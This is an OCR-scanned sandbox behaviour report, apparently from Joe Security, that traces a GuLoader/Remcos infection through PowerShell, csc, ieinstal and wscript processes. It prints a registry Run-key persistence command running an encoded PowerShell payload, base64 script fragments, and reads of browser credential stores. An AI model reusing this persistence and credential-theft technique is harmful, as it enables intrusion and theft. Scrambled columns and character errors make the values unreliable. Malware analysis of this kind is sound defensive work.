00 00 00 11 00 00 00 57
72 69 74 65 2d 49 6e 66
6f 72 6d 61 74 69 6f 6e
08 00 00 00 0d 00 00 00
43 6f 6e 76 65 72 74 54
6f 2d 58 6d 6¢ 08 00 00
00 0c 00 00 00 53 65 74
2d 56 61 72 69 61 62 6¢
65 08 00 00 00 Ob 00 00
00 4f 75 74 2d 50 72 69
6e 74 65 72 08 00 00 00
fd fd fd fd cO 58 50 fd 7a
fd 08 49 00 00 00 43 3a
5c 50 72 6f 67 72 61 6d
20 46 69 6¢ 65 73 20 28
78 38 36 29 5¢ 57 69 6e
64 6f 77 73 50

Offset

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4al
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux

C:\Windows\SysWwOWw64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SyswOWw64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6
2fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d
ed8d0e73920808d8880ed14efd\System.ni.dll.aux

C:\Windows\SyswOWw64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SyswOWw64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SyswWOWw64\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4
9f6405#\9f9243d8d725bdal845cde132efbe100\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Numeri
€s\29620c919d222ee63cceel78145764a0\System.Numerics.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage
ment\ccd32e22ed1b362cchd4b6fe2cda6dOb\System.Management.ni.d
Il.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta
rtupProfileData-NonInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuratio
n.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1
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unknown
unknown
unknown

unknown

unknown
unknown
unknown

unknown

unknown

unknown
unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Ascii

Get-RandomCFSOut-
StringWrite-P
rogressDisable-
PSBreakpointUpdate-
FormatDataWrite-
InformationConvertTo-
XmlSet-VariableOut-
PrinterXPzIC:\Program
Files (x86)\WindowsP

Length
4095
8173
4095
6135
176

4095
8173
4095
900

620

4095
8173
4095
8173
748

748

300

764

4095

6135

8171
64

864

4096
4096

Completion

success or wait

Completion
success or wait
end of file
success or wait
success or wait

success or wait

success or wait
end of file
success or wait

success or wait

success or wait

success or wait
end of file
success or wait
end of file

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

end of file

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6C6A9B71

Count Source Address

1 6D74099B
1 6D74099B
1 6D74099B
1 6D74099B
1 6D6962DE
1 6D74D97A
1 6D74D97A
1 6D74D97A
1 6D6962DE
1 6D6962DE
1 6D74099B
1 6D74099B
1 6D74099B
1 6D74099B
1 6D6962DE
1 6D6962DE
1 6D6962DE
1 6D6962DE
1 6D74099B
1 6D74099B
1 6D74099B
1 6D74B684
1 6D6962DE
1 6C6A9B71
1 6C6A9B71

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

ReadFile
ReadFile
unknown
unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 6C6A9B71 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 6C6A9B71 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6C6A9B71 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 734 end of file 1 6C6A9B71 ReadFile
gement\1.0.0.1\PackageManagement.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6C6A9B71 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 1 6C6A9B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C6A9B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6C6A9B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C6A9B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 7 6C6A9B71 ReadFile
O\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 682 end of file 1 6C6A9B71 ReadFile
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6C6A9B71 ReadFile
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C6A9B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C6A9B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C6A9B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6C6A9B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6C6A9B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 142 6C6A9B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 993 end of file 1 6C6A9B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6C6A9B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 599 end of file 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 599 end of file 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6C6A9B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dll unknown 4096 success or wait 1 6C6A9B71 ReadFile
C:\Users\user\AppData\Local\Temp\rettetast.dat unknown 57933 success or wait 1 891FFA8 ReadFile

Analysis Process: conhost.exe PID: 392, Parent PID: 2444

General

Target ID: 22

Start time: 14:16:40
Start date: 12/05/2022
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Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff69d510000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFA68

true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset

Analysis Process: csc.exe PID: 4036, Parent PID: 2444

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

24
14:17:02
12/05/2022

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

true

Length

Completion

Count Source Address

Symbol

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline

0x9f0000

2141552 bytes
EBB0BB1CA9BIC7F516FF69AFCFD75B7D
true

true

.Net C# or VB.NET

Reputation: moderate

File Activities

File Created

File Path Access Attributes
c:\Users\user\AppData\Local\Te read attributes |  device
mp\15yt3nse\CSC6AB740706204464 synchronize |
FA33B93DBB15436C9.TMP generic write

File Written

File Path Offset Length Value Ascii
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Options

synchronous io
non alert | non
directory file

Completion

success or wait

Completion

Count Source Address

1 BBD9ES

Count Source Address

Symbol

CreateFileW

Symbol
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File Path

C:\Users\user\AppData\Local\Te 0 652
mp\15yt3nse\CSC6AB740706204464
FA33B93DBB15436C9.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline

C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 000000 4c  Inf
02 00 00 3c 00 00 00 fd

fd 10 00 fd fd 01 00 00 00

00 00 30 00 00 00 00 00

00 00 00 00 00 00 4c 02

34 00 00 00 56 00 53 00

5f 00 56 00 45 00 52 00

53 00 49 00 4f 00 4e 00

5f 00 49 00 4e 00 46 00

4f 00 00 00 00 00 fd 04 fd

fd 00 00 01 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 3f 00 00

00 00 00 00 00 04 00 00

00 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 44 00 00 00 01 00 56

00 61 00 72 00 46 00 69

00 6¢ 00 65 00 49 00 6e

00 66 00 6f 00 00 00 00

00 24 00 04 00 00 00 54

00 72 00 61 00 6e 00 73

00 6¢ 00 61 00 74 00 69

00 6f 00 6e 00 00 00 00

00 00 00 fd 04 fd 01 00

00 01 00 53 00 74 00 72

00 69 00 6e 00 67 00 46

00 69 00 6¢ 00 65 00 49

00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 4028, Parent PID: 4036

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

25

14:17:03

12/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

L<OL4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile

Length
371
871

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 ABT773E

Count Source Address

1 A2D62D
1 A2D62D

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\user\AppData\Loca\Temp\RE

S8878.tmp" “c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP"

0xa30000

46832 bytes
70D838A7DC5B359C3F938A71FAD77DB0O
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Offset

Analysis Process: ieinstal.exe PID: 2480, Parent PID: 2444
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Length Value Ascii

Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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General

Target ID: 26

Start time: 14:17:18

Start date: 12/05/2022

Path: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Wow64 process (32bit): true

Commandline: C:\Program Files (x86)\internet explorenieinstal.exe

Imagebase: 0xe90000

File size: 480256 bytes

MDS5 hash: 7871873BABCEA94FBA13900B561C7C55

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:
0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000001A.00000000.2174144664.0000000003210000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies

C:\Users\user\AppData\Local\Temp\Medalj.vbs

File Written

File Path Offset

Copyright Joe Security LLC 2022

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

Length Value

Attributes

device

device

device

device

device

device

device

Ascii

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

success or wait

Completion

Count Source Address

1

Count Source Address

321DAB6

321DAB6

321DAB6

321DAB6

321DAB6

321DAB6

321DAB6

Symbol

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen

UrlA

CreateFilew

Symbol
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File Path

C:\Users\user\AppData\Local\Te
mp\Medalj.vbs

File Read
File Path

C:\Users\user\AppData\Local\Temp\zobwfaalrtsxm

Offset

0

C:\Users\user\AppData\Local\Temp\msjsdp

C:\Users\user\AppData\Local\Temp\sumouwmncgxiz

C:\Users\user\AppData\Local\Temp\xxulbm

Registry Activities
Key Created
Key Path

HKEY_CURRENT_USER\Software\jin-kpo-mjs-S790YG\

Key Value Created
Key Path

Name

HKEY_CURRENT_USER\SOFTW Runkelro

ARE\AppDatal.ow

Copyright Joe Security LLC 2022

expand unicode

Length Value

246390 27 4166 62 75 64 20 46

4a 45 52 44 52 41 20 52
65 74 6e 69 6e 20 53 6d
65 6¢ 74 65 37 20 46 6¢
67 65 73 79 67 64 6f 39
2061 66 73 6b 61 66 66
65 6¢ 73 20 6d 61 65 63
65 6e 61 20 53 69 72 70
6¢C 38 20 44 69 61 6b 6f
6e 69 6b 39 20 52 75 6d
7065204265 717565
6120 66 6¢ 7573 73 70
20 65 6¢ 69 74 65 20 49
4e 47 52 45 44 49 45 4e
20 4d 6573 61 72 74 65
72 69 32 20 48 59 50 4f
4d 45 20 57 65 74 74 61
62 6¢ 37 20 0d Oa 27 46
4f 52 46 52 45 20 46 52
41 55 4c 45 49 4e 45 4e
20 61 6e 6¢ 62 73 20 64
65 6d 69 70 69 6b 20 42
4c 41 54 54 45 44 55 20
6d 65 63 61 20 42 61 79
6f 6e 20 50 45 52 49 44
49 4e 49 41 43 2053 54
45 45 20 55 6e 73 65 70
74 61 74 65 64 20 50 6¢
75726963 757320 46
75 6¢ 64 20 64 65 73 69
67 6e 20 73 69 6b 6b 20
57 48 4f Ac 45 4e 45

Offset

unknown
unknown
unknown

unknown

Type Data

CAE

Ascii

‘Afbud FJERDRA Retnin
Smelte7 Flgesygdo9
afskaffels maecena
Sirpl8 Diakonik9 Rumpe
Bequea flussp elite
INGREDIEN Mesarteri2
HYPOME Wettabl7
'FORFRE FRAULEINEN
anlbs demipik BLATTED
U meca Bayon
PERIDINIAC STEE U
nseptated Pluricus Fuld
design sikk WHOLENE

Length

N O N O

Completion

success or wait

Completion

success or wait
success or wait
success or wait

success or wait

Completion

success or wait

Completion

IWBJAG4AcWBOAHIAAQASACAAUWB  success or wait

UAVQBSAFQARQBSAE4ARQAGAFM

AbABh

AG4AIABTAHAAbWBUAHQAYQBUAD

cAIA

BVAE4AQWBBAEWATAAgAGUADQBI

AGS8A

IAByAGUAaQBOACAAVABhAHIACAB

hAH

AAZQAgAHUAZWBPAGYAdABIAHMA

ZAAg

AEIAQQBDAESAUWBUAEEASQBSA

CAAZQ

BnAG8AaQBOAHKAaAAgAFMADQBIA

GQA

IABVAFIATWBHAEUATgAgAHYAYQB

ZAG

8ACgBYAGUAYQBWACAAQQBIAGUA

dABy

AGBAIABQAEEAUgBBAFAASABSAE

EAUwW

BUACAASWBYAHKAbQBtAGUADABS

AG8A

YWAYACAASQBOAFQARQBSAFMA

UABJAF

IAIABVAG4AcWBXAHUAZQA2ACAAa

gBh

AGMAbwBIAGKAJABpAHMAIABQAE

gATW

BOAESAUABIACAAQQBIAHMAYwWBV

AG4A

Count Source Address

1 32140D4

Count Source Address

1 418615
1 418615
1 418615
1 418615

Count Source Address

410CA8

Count Source Address

1 3213631

Symbol

WriteFile

Symbol

ReadFile
ReadFile
ReadFile

ReadFile

Symbol

RegCreateKeyA

Symbol

RegSetValueEx
A
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Key Path
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Name

Type

ZAtBIAH IAcCWA3BACAAQWBOAGKAawB

QAYQBVAHAACWAGAFMASWBZAECA
RwAg
AEQATWBNAEOARQBEAEEARWBTA
CAAbg
BVAG4AYQBzAHMAaQBzAHQAYQA
gAEEA
cgBjAGgAYWBOAGUAIABOAHYAaQB
2AC
AASWBhAHAACGBPAGYAbwBSAGKAI
ABG
AGKAbgBhAG4AcWBOAGKAIAANAAO
Alw
BUAHIAaQBWAHAAZQBOAHMAIABN
AGWA
awBIADIAIABUAG8AbgBIAHgACABSA
G
8ACgAgAEYATWBMAESARQBDAEUA
IABB
AHIAdgBIAGYAbBABNAGUAIABGAEE
AUw
BUAFAAUgBJAFMAUWBZACAASABY
AGCcA
ZWB3ADYAIABSAGUACABIAHQANA
AgAE
gAQQBMAFYATWBOAESATABFACA
AQQBY
AGIAZQBJAGQACWAJAFAATABPAF
QAVA
BFAFIAIABUAHMAZQBKACAADQAK
ACMA
RAB5SAG4AYQBtAGKAawBrAGUAbgA
3AC
AAUWBUAESAWQBTAFQAVAAgAEg
AeQBk
AHIAbWBUAGKAJAALACAACGBIAGQ
AaQ
BzAHQACgBpACAAbQBIAHIAaQBjA
GEA
cgAgAHYAaQBWAHAAIABGAGEAYg
ByAD
EAIABGAEWATWBWAEOAQQAQGAEE
AQQBO
AEQAUWBIAESBAIABTAHQAYQBhAG
WACW
BOAHUAIABKAEUAUWBVAEKAIABU
AGEA
bgBhACAAQWBVAGOAbQBVACAARW
B1AG
EAcABpAG4AbWAgAFMAeQBUAGSA
cgBv
AG4ANWAGAGQAZQB2AGWAaQBUA
HIAZQ
BOACAATWBtAHMAdJABUAGKAbgBnA
HMA
ZWAgAFIAZQBzAGUAMgAgAGOAZQ
BOAH
IAbwBsAGBAIABTAFUARWBFAE4AR
QBL
AEQAQYBPACAAUWB2AGKACgBWA
GUAdA
BzAHUAbQAXACAAaAB5AGQAcgBh
AHQA
ZQByACAATWBCAFMARQBSAFYAQ
QAgAF
QARQBNAFAAQQBOAEEAIABWAEK
ASwBJ
AE4ARWBFAFIAIABLIAHAACgBpAHY
AZQ
BIAGSACWAgAGYAZQBhAHIAJABIAC
AA
RQBtAGIAZQBKACAAVQBOAEEAUW
BTAE
UATgAgAEBAUABLAEWAQQAJAGU
AZQBi
AHIAZQBIAHIAZQAgAFAAaQBJAHIA
aQ
BOAGKAYWAZACAADQAKACMARQB
FAEWA
SQBFAFMAVAAgJAEMACcgB5AHMA
ABhAG
WAbwBNADEAIABEAFUAUWBJIAE4A
TQBF
ACAASQBUAGQAaQB2ADgAIAB1AG
QAcw
BrAHIAaQBmAHQAcwWBWACAAVABI
AGsA
bgBvAGsAcgBhADEAIABOAHKAbgBk
AH
QAZgAgAEUADABIAHYAJABpPAGOAZ

Completion

Count  Source Address

Symbol
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Key Path

HKEY_CURRENT_USER\SOFTW Oratorieto

ARE\Mic

rosoft\Windows\CurrentVersion\

Name Type Bétza Count  Source Address

ACAAZAB5AGSACWB2ACAAYgBVAG
4AYg
BVAG4AZQBYyAHMAIABhAG4AdABp
AGMA
YQBWAGKAJAAgAHUADbgBKAGUACY
AgAH
YAaQBIAHIAIABZAEQARQBSAFAAI
ABL
AGWAYgBIAGIAYQBhAG4AZAASAC
AAVg
BpAHAAcWBOADQAIABNAGEAeABp
AGOAbwBUACAA

Completion Symbol

expand unicode = %Vitell% -w 1 $PAKETTE=(Get-It success or wait 1 3213631 RegSetValueEx
emProperty -Path 'HKCU:\SOFTWA A

RE\AppDatalLow\').Runkelro;%Vitell%

Run -encodedcommand($PAKETTE)
HKEY_CURRENT_USER\Environ Vitell expand unicode  c:\windows\SysWOW64\WindowsPow = success or wait 1 3213631 RegSetValueEx
ment erShell\v1.0\powershell.exe A
HKEY_CURRENT_USER\SOFTW  exepath binary 3A D4 F1 DA 8A 92 12 27 07 7F F6 success or wait 1 410CDO RegSetValueEx
ARE)\jin-kpo-mjs-S790YG 8E F6 14 9C 1B 68 DD 35 D7 7A D4 A
56 64 1D 7F 22 12 F5 F7 E6 E1 D4 2A
AC DE 5B C1 98 C4 85 3F 4A 43 5A
A8 75 BD 4F 18 8E A0 29 1B BC 34
0OA C9 00 AD C5 71 CB B9 66 3F 43
04 07 64 95 5B DD 7D A1 49 E1 85 B5
4F 9A ED A2 7F 54 C5 35 54 CF A5
7E FE BF CE B4 E8 BE 5C 3E E5 33
06 62 10 80 9C 53 BD
HKEY_CURRENT_USER\SOFTW licence unicode 056D84BB62874B55E056850D840A9 = success or wait 1 410CDO RegSetValueEx
ARE\jin-kpo-mjs-S790YG C35 A
Analysis Process: wscript.exe PID: 2964, Parent PID: 2480
General
Target ID: 27
Start time: 14:17:31
Start date: 12/05/2022
Path: C:\Windows\SysWOWe64\wscript.exe
Wow64 process (32bit): true
Commandline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Medalj.vbs"
Imagebase: 0xb60000
File size: 147456 bytes
MD5 hash: 4D780D8F77047EE1C65F747D9F63A1FE
Has elevated privileges: true
Has administrator true
privileges:
Programmed in: C, C++ or other language
Yara matches: e Rule: SUSP_LNK_SuspiciousCommands, Description: Detects LNK file with suspicious content, Source:
0000001B.00000003.2548688512.0000000000646000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
Reputation: moderate
File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol

Analysis Process: ieinstal.exe PID: 8540, Parent PID: 2480

General
Target ID:
Start time:

Start date:
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28
14:17:46
12/05/2022
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Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

true

C:\Program Files (x86)\internet explorenieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdp

0xe90000

480256 bytes

7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

moderate

C:\Users\user\AppData\Local\Temp\bhv46D6.tmp

C:\Users\user\AppData\Local\Temp\msjsdp

File Written
File Path

Offset

C:\Users\user\AppData\Local\Te 0

mp\bhv46D6.tmp

C:\Users\user\AppData\Local\Te 0

mp\msjsdp

File Read

File Path

C:\Users\user\AppData\Local\Temp\bhv46D6.tmp

C:\Users\user\AppData\Local\Temp\bhv46D6.tmp

C:\Users\user\AppData\Local\Temp\bhv46D6.tmp

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-

release\key4.db

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-

release\key4.db

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-

release\key4.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
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Access

read attributes |  device
synchronize |

generic read

read attributes |  device
synchronize |

generic write

Length Value

146800 fd fd fd 47 fd 6b fd 20 06

00 00 00 00 00 00 55 02
00 00 00 00 00 00 d8 7b
fd 14 2a 17 02 09 79 01
0Oc 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 02 00 00 00 31 00 57
00 01 00 00 00 3b 0d Oe
Oc 05 7a 55 Oa 3b 0d Oe
Oc 05 7a 55 0a 68 02 59
00 01 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 01 00 00
00 34 42 fd fd 14 2a 17
02 09 79 01 Oc 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 10 00 00 00 0a 00 00
00 00 00 00 00 62 4a 00
00 00 00 00 00 6e 00 00
00 00 fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

fd fd

Offset

unknown
unknown
unknown

unknown

unknown

unknown

unknown
unknown

unknown

Attributes

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Ascii

G
U{*y1W;zU;zUhY4B*ybJn

Length
1024
32768
32768
100

32768

16

31120
100
2048

Completion

success or wait

success or wait

Completion

success or wait

success or wait

Completion

success or wait
success or wait
success or wait

success or wait

success or wait

success or wait

success or wait
success or wait

success or wait

Count Source Address

1

1

Count

1

Count

409A8B

4096F4

Source Address

40E134

40A32B

Source Address
40A30C
40A30C
40A30C
417623

417623

417623

40A30C
417623
417623

Symbol

GetTempFile
NameW

CreateFileW

Symbol

WriteFile

WriteFile

Symbol

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile

ReadFile
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File Path Offset Length Completion

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 31120 success or wait
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 100 success or wait
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 2048 success or wait
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 107327 success or wait
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data unknown 100 success or wait
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data unknown 2048 success or wait
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 107327 success or wait
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 100 success or wait
Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 2048 success or wait
